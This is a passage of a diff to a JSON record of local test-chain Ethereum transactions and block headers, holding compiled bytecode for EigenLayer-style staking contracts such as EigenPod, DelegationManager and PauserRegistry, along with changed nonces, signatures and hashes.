50506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212204b19fa9947cba29e97e68bf849da2e6bf42b15e660145561f6083ab4b30b3f0164736f6c634300081c003300000000000000000000000042424242424242424242424242424242424242420000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3180000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000006059f460", - "r": "0x9a815d4bec70ed7d2c5b4b92441566a9d632dedb8fe5f56ed90d3b57f5f47c01", - "s": "0x42bb33e0d9a485c6a0da223604f5c37c2d25967cfa2cdb1e2119ab734a2ebe84", - "yParity": "0x1", - "hash": "0x90f4d6d687fdeeb70ae24526214e277bc35de59aad3771f8613c843ab92031f6" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0xb", - "gas": "0x5b8ea", + "nonce": "0x1", + "gas": "0x6b57b", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788", - "r": "0xd56139486c75b623487313fe5593f69d67b861422ee3a1183c0351e0940bde05", - "s": "0x715be808934440ce4eadda182688e0c2617560331170e85b93ef42745f13fdd", - "yParity": "0x1", - "hash": "0xf63348d9d494abf9775ab12c8f00d13e58abb43735511d6fbdcbc50bdfbfdd46" + "input": "0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "r": "0x3f383f46668780b4fe093f0387d8c1d1141f210ff57af1151cdf54f5c82c832b", + "s": "0x54270e68ad323c0d748801db907930d7b85a336377a227b64b2a4684d639adda", + "yParity": "0x0", + "hash": "0x2d2c24b169d1df517c115d149cf7caeeec8b4d96fc9ff7fddf12f78c50215194" } }, "impersonated_sender": null @@ -1027,22 +1001,22 @@ }, { "header": { - "parentHash": "0xcc97307be35f5f2699f45dfdf7700f341711b7411b59bdda05f72078f8d49333", + "parentHash": "0x5e110648bab9775615f660a7d3fae17f050381bcecd94b54b968a6f9992e8a71", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x126a722d65bf6983e4a32b45565756c22c8fc5b09bdb66341779699820ef1128", - "transactionsRoot": "0xd976abd5d4a1e65456aa4b97e8d008b3eebe81baa3d7db1b941b871d44bca4df", - "receiptsRoot": "0x0bb7fad9b80eba480248a78d60604d27fc039de240d3ba99f6e43b3683fe6bae", + "stateRoot": "0x5cc54ed47d2109a6d44bbc9740c03db5a7dc06cda8b2583b7682a138f53f0c46", + "transactionsRoot": "0xcd05b2cdc1a03fc38d72cea881b9344095716245ec83c3ddba85e0a19986d3f0", + "receiptsRoot": "0x6c93e1a9c960fb71d553c94746a181f9e220284ebd75e628d4f627aa7f07d737", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000480000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000020000000000400000000000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000020000000000400000000000", "difficulty": "0x0", - "number": "0x8", + "number": "0xa", "gasLimit": "0x1c9c380", - "gasUsed": "0x92cf5b", - "timestamp": "0x67212bff", + "gasUsed": "0x78443a", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x19c9e176", + "baseFeePerGas": "0x13bf9784", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1059,11 +1033,11 @@ "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e69746961